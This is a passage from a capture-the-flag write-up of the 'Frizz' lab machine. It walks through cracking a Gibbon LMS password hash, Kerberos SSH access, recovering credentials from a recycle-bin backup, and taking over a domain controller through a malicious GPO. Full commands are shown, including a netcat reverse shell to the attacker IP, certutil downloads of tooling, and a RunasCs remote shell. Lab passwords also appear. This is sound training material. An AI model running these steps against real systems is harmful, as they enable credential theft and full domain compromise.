| passwordStrongSalt        | varchar(255)                                          | NO   |     | NULL        |                |
| passwordForceReset        | enum('N','Y')                                         | NO   |     | N           |                |
| status                    | enum('Full','Expected','Left','Pending Approval')     | NO   |     | Full        |                |
| canLogin                  | enum('Y','N')                                         | NO   |     | Y           |                |
| gibbonRoleIDPrimary       | int(3) unsigned zerofill                              | NO   |     | NULL        |                |
| gibbonRoleIDAll           | varchar(255)                                          | NO   |     | NULL        |                |
| dob                       | date                                                  | YES  |     | NULL        |                |
| email                     | varchar(75)                                           | YES  |     | NULL        |                |
| emailAlternate            | varchar(75)                                           | YES  |     | NULL        |                |
| image_240                 | varchar(255)                                          | YES  |     | NULL        |                |
| lastIPAddress             | varchar(15)                                           | NO   |     |             |                |
| lastTimestamp             | timestamp                                             | YES  |     | NULL        |                |
| lastFailIPAddress         | varchar(15)                                           | YES  |     | NULL        |                |
| lastFailTimestamp         | timestamp                                             | YES  |     | NULL        |                |
| failCount                 | int(1)                                                | YES  |     | 0           |                |
| address1                  | mediumtext                                            | NO   |     | NULL        |                |
| address1District          | varchar(255)                                          | NO   |     | NULL        |                |
| address1Country           | varchar(255)                                          | NO   |     | NULL        |                |
| address2                  | mediumtext                                            | NO   |     | NULL        |                |
| address2District          | varchar(255)                                          | NO   |     | NULL        |                |
| address2Country           | varchar(255)                                          | NO   |     | NULL        |                |
| phone1Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone1CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone1                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone3Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone3CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone3                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone2Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone2CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone2                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone4Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone4CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone4                    | varchar(20)                                           | NO   |     | NULL        |                |
| website                   | varchar(255)                                          | NO   |     | NULL        |                |
| languageFirst             | varchar(30)                                           | NO   |     | NULL        |                |
| languageSecond            | varchar(30)                                           | NO   |     | NULL        |                |
| languageThird             | varchar(30)                                           | NO   |     | NULL        |                |
| countryOfBirth            | varchar(30)                                           | NO   |     | NULL        |                |
| birthCertificateScan      | varchar(255)                                          | NO   |     | NULL        |                |
| ethnicity                 | varchar(255)                                          | NO   |     | NULL        |                |
| religion                  | varchar(30)                                           | NO   |     | NULL        |                |
| profession                | varchar(90)                                           | NO   |     | NULL        |                |
| employer                  | varchar(90)                                           | NO   |     | NULL        |                |
| jobTitle                  | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency2Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| gibbonHouseID             | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| studentID                 | varchar(15)                                           | NO   |     | NULL        |                |
| dateStart                 | date                                                  | YES  |     | NULL        |                |
| dateEnd                   | date                                                  | YES  |     | NULL        |                |
| gibbonSchoolYearIDClassOf | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| lastSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| nextSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| departureReason           | varchar(50)                                           | NO   |     | NULL        |                |
| transport                 | varchar(255)                                          | NO   |     | NULL        |                |
| transportNotes            | text                                                  | NO   |     | NULL        |                |
| calendarFeedPersonal      | text                                                  | NO   |     | NULL        |                |
| viewCalendarSchool        | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarPersonal      | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarSpaceBooking  | enum('Y','N')                                         | NO   |     | N           |                |
| gibbonApplicationFormID   | int(12) unsigned zerofill                             | YES  |     | NULL        |                |
| lockerNumber              | varchar(20)                                           | NO   |     | NULL        |                |
| vehicleRegistration       | varchar(20)                                           | NO   |     | NULL        |                |
| personalBackground        | varchar(255)                                          | NO   |     | NULL        |                |
| messengerLastRead         | datetime                                              | YES  |     | NULL        |                |
| privacy                   | text                                                  | YES  |     | NULL        |                |
| dayType                   | varchar(255)                                          | YES  |     | NULL        |                |
| gibbonThemeIDPersonal     | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| gibboni18nIDPersonal      | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| studentAgreements         | text                                                  | YES  |     | NULL        |                |
| googleAPIRefreshToken     | text                                                  | NO   |     | NULL        |                |
| microsoftAPIRefreshToken  | text                                                  | NO   |     | NULL        |                |
| genericAPIRefreshToken    | text                                                  | NO   |     | NULL        |                |
| receiveNotificationEmails | enum('Y','N')                                         | NO   |     | Y           |                |
| mfaSecret                 | varchar(16)                                           | YES  |     | NULL        |                |
| mfaToken                  | text                                                  | YES  |     | NULL        |                |
| cookieConsent             | enum('Y','N')                                         | YES  |     | NULL        |                |
| fields                    | text                                                  | NO   |     | NULL        |                |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
```

Notice the `username`, `passwordStrong`, and `passwordStrongSalt` fields from here. Let's query to see whether we have something in here or not:

```bash
MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;
+-----------+------------------------------------------------------------------+------------------------+
| username  | passwordStrong                                                   | passwordStrongSalt     |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+
1 row in set (0.279 sec)
```

Gladly, we have found a password hash along with a salt. The hash looks like a `sha-256` based on its length(64-character hex string).

However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the `core/preferencesPasswordProcess.php` file, where core is `Gibbon-LMS` in our case.

Reference: [core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core · GitHub](https://github.com/GibbonEdu/core/blob/v29.0.00/preferencesPasswordProcess.php)

```powershell
PS C:xampphtdocsGibbon-LMS> Get-Content preferencesPasswordprocess.php
```

Hence, our hash is derived using `sha256` with `salt + password`:

From here, we want to go forward to try to crack this hash using hashcat or john. However, I will be using hashcat!

### Hash Cracking

#### Finding the Right Module

Our target module is `1420` based on the placement of salt in the hash, which we just discussed above.

```bash
croc@hacker$ hashcat --help | grep sha256
   1470 | sha256(utf16le($pass))                                     | Raw Hash
   1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
   1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
  22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
  20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
  21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
   1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
   1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
   6400 | AIX {ssha256}                                              | Operating System
   7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
   7401 | MySQL $A$ (sha256crypt)                                    | Database Server
  20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
  20300 | Python passlib pbkdf2-sha256                               | Framework
```

#### Hash.txt

I created a file `hash.txt` and saved the password hash and salt in the following format:

```bash
hash:salt
```

#### Cracking the Hash

```bash
croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt
```

Hence, the password for `f.frizzle` is `Jenni_Luvs_Magic23`.

f.frizzle is part of the Remote Management Users group but unfortunately WinRM is disabled on the box. So, for now, as we have a valid set of credential, we can proceed to dump the bloodhound data and analyze potential pathways from there.

### Bloodhound Collection

After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.

```bash
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 48S
                                                                                                               
croc@hacker$ ls
20250424221856_computers.json   20250424221856_gpos.json    20250424221856_users.json
20250424221856_containers.json  20250424221856_groups.json
20250424221856_domains.json     20250424221856_ous.json
```

`faketime` is used in order to tackle the `KRB_AP_ERR_SKEW` error.

Enumerating all possible paths from f.frizzle, I found nothing that could lead us to further access. So, I went back to see what else do we have and saw SSH open. As Kerberos Authentication is a requirement, we need to do some configuration beforehand.

### Setting up Kerberos Authentication

#### Step 01 - Install Client Libraries

If you are faced with any prompts during the installation, just remember to press the magic key "**Enter**" & go with the defaults.

```bash
croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal
```

#### Step 02 - Custom KRB5\_CONFIG Setup

Here, we set up our `custom_krb5.conf` file which defines the kerberos realm configuration.

```bash
croc@hacker$ LOWER_REALM='frizz.htb'                 
                                                                                                               
croc@hacker$ UPPER_REALM='FRIZZ.HTB'
                                                                                                               
croc@hacker$ DC_HOSTNAME='frizzdc'
                                                                                                               
croc@hacker$ cat  custom_krb5.conf
[libdefaults]
    default_realm = $UPPER_REALM
    dns_lookup_realm = true
    dns_lookup_kdc = true
[realms]
    $UPPER_REALM = {
        kdc = $DC_HOSTNAME.$LOWER_REALM
        admin_server = $DC_HOSTNAME.$LOWER_REALM
        default_domain = $DC_HOSTNAME.$LOWER_REALM
    }
[domain_realm]
    $LOWER_REALM = $UPPER_REALM
    .$LOWER_REALM = $UPPER_REALM
EOF
                                                                                                               
croc@hacker$ cat custom_krb5.conf                    
[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true
[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizzdc.frizz.htb
    }
[domain_realm]
    frizz.htb = FRIZZ.HTB
    .frizz.htb = FRIZZ.HTB
```

#### Step 03 - Authenticate as f.frizzle

I set up the environment variable `KRB5_CONFIG` to point to our custom Kerberos configuration file `custom_krb5.conf` located in our current directory (`$PWD`). This allows us *force Kerberos clients to use custom realm configuration*.

Moreover, I initiated an authentication request as `f.frizzle` to the KDC using `kinit`, which got successful. As a result, we have a cached credential at `/tmp/krb5cc_1001` which we can view using `klist`.

```bash
croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
                                                                                                               
croc@hacker$ kinit f.frizzle                           
f.frizzle@FRIZZ.HTB's Password: 
                                                                                                               
croc@hacker$ klist          
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: f.frizzle@FRIZZ.HTB
  Issued                Expires               Principal
Apr 25 14:09:12 2025  Apr 26 00:09:12 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB
```

### SSH - GSSAPI Authentication

Now, as we have a cached ticket for `f.frizzle`, we can use it for Kerberos authentication via SSH:

```bash
croc@hacker$ ssh -K f.frizzle@frizz.htb                                         
PowerShell 7.4.5
PS C:Usersf.frizzle>
```

### User.txt

```bash
PS C:Usersf.frizzleDesktop> ls
    Directory: C:Usersf.frizzleDesktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar--           4/25/2025 10:02 AM             34 user.txt
PS C:Usersf.frizzleDesktop> cat user.txt
074d*****************************
```

## Shell as M.SchoolBus

### Files in Recycle Bin

After hitting my head for a little, I found two `.7z` files in recycle bin.

```powershell
PS C:Usersf.frizzle> Get-ChildItem -Recurse -Force 'C:$RECYCLE.BIN'
    Directory: C:$RECYCLE.BIN
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103
    Directory: C:$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini
```

Next, we want to transfer these files to our attackbox. I will restore them into our current user's Desktop for easy access later on.

```powershell
PS C:Usersf.frizzle> Copy-Item -Path 'C:$Recycle.BinS-1-5-21-2386970044-1145388522-2932701813-1103*.7z' -Destination "$env:USERPROFILEDesktop"
PS C:Usersf.frizzleDesktop> ls
    Directory: C:Usersf.frizzleDesktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-ar--            5/2/2025  7:41 PM             34 user.txt
```

### Transfer to Attack Box

Now, we want to transfer these `*.7z` files back to our kali machine for further analysis.

```bash
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD
$IE2XMEG.7z                                                                                                                               100%  148     0.6KB/s   00:00    
                                                                                                                                                                            
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD
$RE2XMEG.7z                                                                                                                               100%   29MB   1.7MB/s   00:17
```

Notice the format of both files. `$RE2XMEG.7z` appears to be a legitimate 7-zip archive while we're not sure about `$IE2XMEG.7z`.

```bash
croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z' 
$IE2XMEG.7z: data
$RE2XMEG.7z: 7-zip archive data, version 0.4
```

### Extracting the Files

The first file failed to extract but second one did extract. (As expected)

```bash
croc@hacker$ 7z x $RE2XMEG.7z 
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)
Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3
Everything is Ok                                      
Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
                                                                                                                                                                            
croc@hacker$ ls
'$RE2XMEG.7z'   wapt
```

### Enumerating for Sensitive Info

The configuration files are always a good bet to start with. Luckily, I found the following password in `waptserver.ini` file:

I passed the password along the network but it failed. That's because it was base64-encoded!

```bash
croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d                                                           
!suBcig@MehTed!R
```

Trying again revealed our next pivot point which is `M.SchoolBus`.

```bash
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success
```

### Lateral to M.SchoolBus

#### Cached Ticket

Cleared all cached tickets and cached the ticket for `M.SchoolBus`:

```bash
croc@hacker$ kdestroy
kdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
                                                                                                                                                 
croc@hacker$ kinit m.schoolbus
m.schoolbus@FRIZZ.HTB's Password: 
                                                                                                                                                 
croc@hacker$ klist
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: m.schoolbus@FRIZZ.HTB
  Issued                Expires               Principal
May  3 21:15:10 2025  May  4 07:15:10 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB
```

#### SSH

```bash
croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htb                        
PowerShell 7.4.5
PS C:UsersM.SchoolBus> whoami
frizzm.schoolbus
PS C:UsersM.SchoolBus> 
```

## Shell as Root

### Bloodhound

Revisiting Bloodhound, I found that `m.schoolbus` is the member of the **Desktop Admins** group which is indeed the member of **Group Policy Creator Owners** group.

According to Microsoft,

This group is authorized to create, edit, and delete Group Policy Objects in the domain. By default, the only member of the group is Administrator.

Hence, it's a great time to enumerate GPOs on the target and see what we can get.

### Transfer Powersploit

We will be using the Powersploit suite of tools for GPO enumeration.

Reference: [GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework](https://github.com/PowerShellMafia/PowerSploit)

On our kali machine, we do the following:

```bash
git clone https://github.com/PowerShellMafia/PowerSploit
rm -rf PowerSploit/.git/ #Removed as it is not needed
zip -r PowerSploit.zip PowerSploit
python3 -m http.server 8000
```

Transferred the zipped file to the target:

```bash
PS C:temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip
****  Online  ****
  000000  ...
  20b69d
CertUtil: -URLCache command completed successfully.
PS C:temp> ls
    Directory: C:temp
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---           7/20/2025  6:54 PM        2143901 PowerSploit.zip
```

### Import all the Modules

Now, we extract all the modules in the current directory:

```bash
PS C:temp> Expand-Archive .PowerSploit.zip
PS C:temp> ls
    Directory: C:temp
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           7/21/2025  3:07 PM                PowerSploit
-a---           7/21/2025  3:07 PM        2143901 PowerSploit.zip
```

Next, we downgrade to PowerShell v5 in order to make it work reliably:

```bash
PS C:temp> $PSVersionTable
Name                           Value
----                           -----
PSVersion                      7.4.5 #Before
PSEdition                      Core
GitCommitId                    7.4.5
OS                             Microsoft Windows 10.0.20348
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
WSManStackVersion              3.0
PS C:temp> powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:temp> $PSVersionTable
Name                           Value
----                           -----
PSVersion                      5.1.20348.2849 #After
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.20348.2849
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
```

After that, it's time to import all the modules:

```powershell
PS C:temp> Get-ChildItem -Directory .PowerSploitPowerSploit -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }
```

### GPO Enumeration - Permissions

The following command shows which users/groups have what permissions on each existing GPO in the domain.

```powershell
PS C:temp> Get-GPO -All | Get-GPPermission -All
Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False
Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False
Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False
Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False
Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False
Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False
Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False
Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False
Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False
Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False
```

Since none of the existing GPOs are writable by our user m.schoolbus, we should explore creating a new GPO and linking it to a writable OU.

### Looking for Writable OUs

We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.

```powershell
PS C:temp> Get-DomainOU | 
>> Get-DomainObjectAcl -ResolveGUIDs | 
>> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } | 
>> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}
ObjectDN              : OU=Domain Controllers,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizzM.SchoolBus
ObjectDN              : OU=Class_Frizz,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizzM.SchoolBus
```

Hence, we can link our new GPO to any of the both OUs: `Domain Controllers` or `Class_Frizz`. However, our target machine is in the *Domain Controllers* Organizational Unit so it makes more sense to link to that.

```powershell
PS C:temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *
PS C:temp> 
PS C:temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *
DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
DNSHostName       : frizzdc.frizz.htb
Enabled           : True
Name              : FRIZZDC
ObjectClass       : computer
ObjectGUID        : 36207a23-8d8d-45e2-b127-e4341a0ec93e
SamAccountName    : FRIZZDC$
SID               : S-1-5-21-2386970044-1145388522-2932701813-1000
UserPrincipalName :
```

### Creating a new GPO and linking to OU

Created a new GPO named `Evil Croc GPO` using `New-GPO` cmdlet:

```bash
PS C:temp> New-GPO -Name "Evil Croc GPO"                                                                                                       
                                                                                                        
DisplayName      : Evil Croc GPO
DomainName       : frizz.htb
Owner            : frizzM.SchoolBus
Id               : 6ff7fae6-caf3-40da-a97f-10fff92a0f08
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 7/24/2025 6:56:02 PM
ModificationTime : 7/24/2025 6:56:02 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        : 
```

Linked it to the *Domain Controllers* OU using `New-GPLink` cmdlet:

```powershell
C:temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"
GpoId       : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1
DisplayName : Evil Croc GPO
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2
```

### Way #01: Gaining Root - Immediate Scheduled Task

We will be using `sharpGPOAbuse.exe` in order to perform the [immediate scheduled task attack](https://www.thehacker.recipes/ad/movement/group-policies).

Reference: [SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub](https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master)

```bash
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTBAdministrator" --Command "cmd.exe" --Arguments "/c C:WindowsTasksnc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{5C5DC385-1956-47B8-B432-376A3A580DBE}MachinePreferencesScheduledTasksScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
```

Set up a listener on the attack box at `443`:

```bash
croc@hacker:~$ sudo rlwrap nc -nvlp 443
listening on [any] 443 ...
```

Force update the group policy to apply our GPO setting on the DC:

```sql
PS C:temp> gpupdate.exe /force                                                                                                                 
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
```

Successfully obtained a reverse shell as `ntauthority system`:

### Way #02: Gaining Root - Adding a Local Admin

We can also make our user `m.schoolbus` a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:

Reference: [SharpGPOAbuse/SharpGPOAbuse-master/README.md at main · byronkg/SharpGPOAbuse · GitHub](https://github.com/byronkg/SharpGPOAbuse/blob/main/SharpGPOAbuse-master/README.md#adding-a-local-admin)

```sql
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{48753DD8-2CF7-4859-8BA3-4056612363FD}MachineMicrosoftWindows NTSecEditGptTmpl.inf  
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
PS C:temp> gpupdate.exe /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
```

We can indeed verify this as well from below:

```bash
PS C:temp> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
```

However, note that the members of the local admin group are not allowed to SSH into the machine:

```bash
PS C:temp> cat C:ProgramDatasshsshd_config
```

So, we need to figure another way out.

What we can do is use RunasCS in order to execute commands as the m.schoolbus and initiate a reverse shell connection through it which will give us admin privileges.

### RunasCS - Reverse Shell as admin

Set up a listener on your machine on whatever port and execute the following command on the target:

```bash
PS C:temp> Import-Module .Invoke-RunasCs.ps1
PS C:temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using StationDesktop: Service-0x0-2c55b3$Default
[+] Async process 'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe' with pid 740 created in background.
PS C:temp>
```

And, we received a connection back as the local admin `m.schoolbus`:

```bash
croc@hacker:~$ sudo rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:Windowssystem32> whoami
whoami
frizzm.schoolbus
PS C:Windowssystem32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
